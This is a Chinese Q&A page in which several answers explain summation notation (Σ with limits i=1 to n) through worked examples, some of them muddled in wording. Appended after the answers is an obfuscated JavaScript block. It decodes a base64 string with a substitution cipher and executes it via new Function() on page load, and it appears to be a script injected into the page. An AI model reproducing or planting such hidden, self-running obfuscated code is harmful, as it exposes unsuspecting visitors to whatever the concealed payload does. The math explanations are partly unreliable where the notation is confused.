∑符号上面一个小n 下面一个i=1 是什么意思

如题 ∑符号上面一个小n 下面一个i=1 是什么意思
2024-12-01 03:42:58
推荐回答(4个)
回答1:

其中i表示下界,n表示上界, k从i开始取数,一直取到n,全部加起来。
  ∑ i 这样表达也可以,表示对i求和,i是变数
  例如:
  100
  ∑ i = 1+2+3+4+5+......+100
  i=1
  200
  ∑ i = 5+6+7+8+9+......+200
  i=5
  500
  ∑ i= 10+11+12+13+14+......+500
  i=10
  444
  ∑ Xi = X+ 2X+ 3X+ 4X+......+ 444X
  i=1
  50
  ∑ i = 1 + 2 + 3 + 4 +......+ 50 = 1275
  i=1
  70
  ∑ X = X + X + X + X +......+ X = 70X
  i=1
  【没有上下标时,就表示该数或该符号,重复出现】
  50
  ∑ (n+1) = ∑n + ∑1 = 20+21+...+50 +31×1=1116
  n=20

回答2:

表示n从一开始,n个含n的代数式的总和

回答3:

代表从i=1到i=n的和值

n
∑(i+1)^2=2^2+3^2+……+(n+1)^2
i=1

回答4:

对一个固定的映射从1到n进行求和叠加~

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();